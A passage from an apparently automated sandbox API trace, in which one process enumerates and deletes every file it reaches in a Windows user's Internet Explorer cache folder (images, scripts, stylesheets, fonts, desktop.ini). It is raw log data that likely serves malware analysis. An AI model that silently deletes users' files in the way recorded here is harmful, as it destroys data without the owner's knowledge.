Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDvM89[1].jpg" [0104.083] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDvM89[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdvm89[1].jpg")) returned 1 [0104.083] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc372940, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc372940, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc372940, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2bd8, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDvxii[1].jpg", cAlternateFileName="BBDVXI~1.JPG")) returned 1 [0104.094] lstrlenW (lpString="BBDvxii[1].jpg") returned 14 [0104.094] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBDvxii[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDvxii[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDvxii[1].jpg" [0104.095] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBDvxii[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbdvxii[1].jpg")) returned 1 [0104.095] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc300520, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc300520, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc300520, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBmUxRK[1].png", cAlternateFileName="BBMUXR~1.PNG")) returned 1 [0104.095] lstrlenW (lpString="BBmUxRK[1].png") returned 14 [0104.095] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBmUxRK[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBmUxRK[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBmUxRK[1].png" [0104.095] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBmUxRK[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbmuxrk[1].png")) returned 1 [0104.095] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb9ed140, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb9ed140, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb9ed140, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x36e, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBo1lFJ[1].png", cAlternateFileName="BBO1LF~1.PNG")) returned 1 [0104.095] lstrlenW (lpString="BBo1lFJ[1].png") returned 14 [0104.095] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="BBo1lFJ[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBo1lFJ[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBo1lFJ[1].png" [0104.095] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\BBo1lFJ[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bbo1lfj[1].png")) returned 1 [0104.096] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd1227c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd1227c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd1227c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6f15, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="bootstrap[1].js", cAlternateFileName="BOOTST~1.JS")) returned 1 [0104.096] lstrlenW (lpString="bootstrap[1].js") returned 15 [0104.096] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="bootstrap[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\bootstrap[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\bootstrap[1].js" [0104.096] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\bootstrap[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bootstrap[1].js")) returned 1 [0104.096] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcefb4a80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcefb4a80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcefb4a80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xaf13, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="bs-components[1].css", cAlternateFileName="BS-COM~1.CSS")) returned 1 [0104.096] lstrlenW (lpString="bs-components[1].css") returned 20 [0104.096] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="bs-components[1].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\bs-components[1].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\bs-components[1].css" [0104.096] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\bs-components[1].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\bs-components[1].css")) returned 1 [0104.097] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd207000, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd207000, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd207000, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x82d8, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="chartbeat[1].js", cAlternateFileName="CHARTB~1.JS")) returned 1 [0104.097] lstrlenW (lpString="chartbeat[1].js") returned 15 [0104.097] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="chartbeat[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\chartbeat[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\chartbeat[1].js" [0104.097] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\chartbeat[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\chartbeat[1].js")) returned 1 [0104.102] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1aa940e0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aa940e0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aa940e0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="collect[2].gif", cAlternateFileName="COLLEC~2.GIF")) returned 1 [0104.102] lstrlenW (lpString="collect[2].gif") returned 14 [0104.102] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="collect[2].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\collect[2].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\collect[2].gif" [0104.102] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\collect[2].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\collect[2].gif")) returned 1 [0104.102] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x166bcde0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x166bcde0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x166bcde0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x81b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="config[1].js", cAlternateFileName="CONFIG~1.JS")) returned 1 [0104.102] lstrlenW (lpString="config[1].js") returned 12 [0104.102] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="config[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\config[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\config[1].js" [0104.103] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\config[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\config[1].js")) returned 1 [0104.103] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf8edfc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf8edfc0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf8edfc0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="ContainerTag[1].js", cAlternateFileName="CONTAI~1.JS")) returned 1 [0104.103] lstrlenW (lpString="ContainerTag[1].js") returned 18 [0104.103] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="ContainerTag[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ContainerTag[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ContainerTag[1].js" [0104.103] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ContainerTag[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\containertag[1].js")) returned 1 [0104.129] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1954dc40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1954dc40, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1954dc40, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="ContainerTag[2].js", cAlternateFileName="CONTAI~2.JS")) returned 1 [0104.129] lstrlenW (lpString="ContainerTag[2].js") returned 18 [0104.130] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="ContainerTag[2].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ContainerTag[2].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ContainerTag[2].js" [0104.130] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\ContainerTag[2].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\containertag[2].js")) returned 1 [0104.130] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6a7b300, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a7b300, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0104.130] lstrlenW (lpString="desktop.ini") returned 11 [0104.130] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\desktop.ini" [0104.130] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\desktop.ini")) returned 1 [0104.131] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf10b6e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf10b6e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf10b6e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2a3c, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="DevCMDL2.2.18[1].eot", cAlternateFileName="DEVCMD~1.EOT")) returned 1 [0104.131] lstrlenW (lpString="DevCMDL2.2.18[1].eot") returned 20 [0104.131] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="DevCMDL2.2.18[1].eot" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\DevCMDL2.2.18[1].eot") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\DevCMDL2.2.18[1].eot" [0104.131] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\DevCMDL2.2.18[1].eot" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\devcmdl2.2.18[1].eot")) returned 1 [0104.131] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a3bc1a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a3bc1a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a3bc1a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="e151e5[1].gif", cAlternateFileName="E151E5~1.GIF")) returned 1 [0104.131] lstrlenW (lpString="e151e5[1].gif") returned 13 [0104.131] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="e151e5[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\e151e5[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\e151e5[1].gif" [0104.131] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\e151e5[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\e151e5[1].gif")) returned 1 [0104.131] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce28a8a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xce28a8a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xce2b0a00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7f78, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="fallback_728x90[1].jpg", cAlternateFileName="FALLBA~1.JPG")) returned 1 [0104.131] lstrlenW (lpString="fallback_728x90[1].jpg") returned 22 [0104.131] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="fallback_728x90[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\fallback_728x90[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\fallback_728x90[1].jpg" [0104.132] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\fallback_728x90[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\fallback_728x90[1].jpg")) returned 1 [0104.137] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a36fee0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a36fee0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a396040, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x39b41, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="fe-5c8f1f-f30905ea[1]", cAlternateFileName="FE-5C8~1")) returned 1 [0104.137] lstrlenW (lpString="fe-5c8f1f-f30905ea[1]") returned 21 [0104.137] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="fe-5c8f1f-f30905ea[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\fe-5c8f1f-f30905ea[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\fe-5c8f1f-f30905ea[1]" [0104.137] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\fe-5c8f1f-f30905ea[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\fe-5c8f1f-f30905ea[1]")) returned 1 [0104.138] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcde60220, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcde60220, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcde60220, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x90b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="gwdpage_min[1].js", cAlternateFileName="GWDPAG~1.JS")) returned 1 [0104.138] lstrlenW (lpString="gwdpage_min[1].js") returned 17 [0104.138] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="gwdpage_min[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\gwdpage_min[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\gwdpage_min[1].js" [0104.138] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\gwdpage_min[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\gwdpage_min[1].js")) returned 1 [0104.140] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdd095c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcdd095c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcdd095c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x20, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="gwdpage_style[2].css", cAlternateFileName="GWDPAG~2.CSS")) returned 1 [0104.140] lstrlenW (lpString="gwdpage_style[2].css") returned 20 [0104.140] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="gwdpage_style[2].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\gwdpage_style[2].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\gwdpage_style[2].css" [0104.140] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\gwdpage_style[2].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\gwdpage_style[2].css")) returned 1 [0104.141] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf50fc00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf50fc00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf50fc00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="ie8[1].txt", cAlternateFileName="IE8_1_~1.TXT")) returned 1 [0104.141] lstrlenW (lpString="ie8[1].txt") returned 10 [0104.141] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="ie8[1].txt" | out: 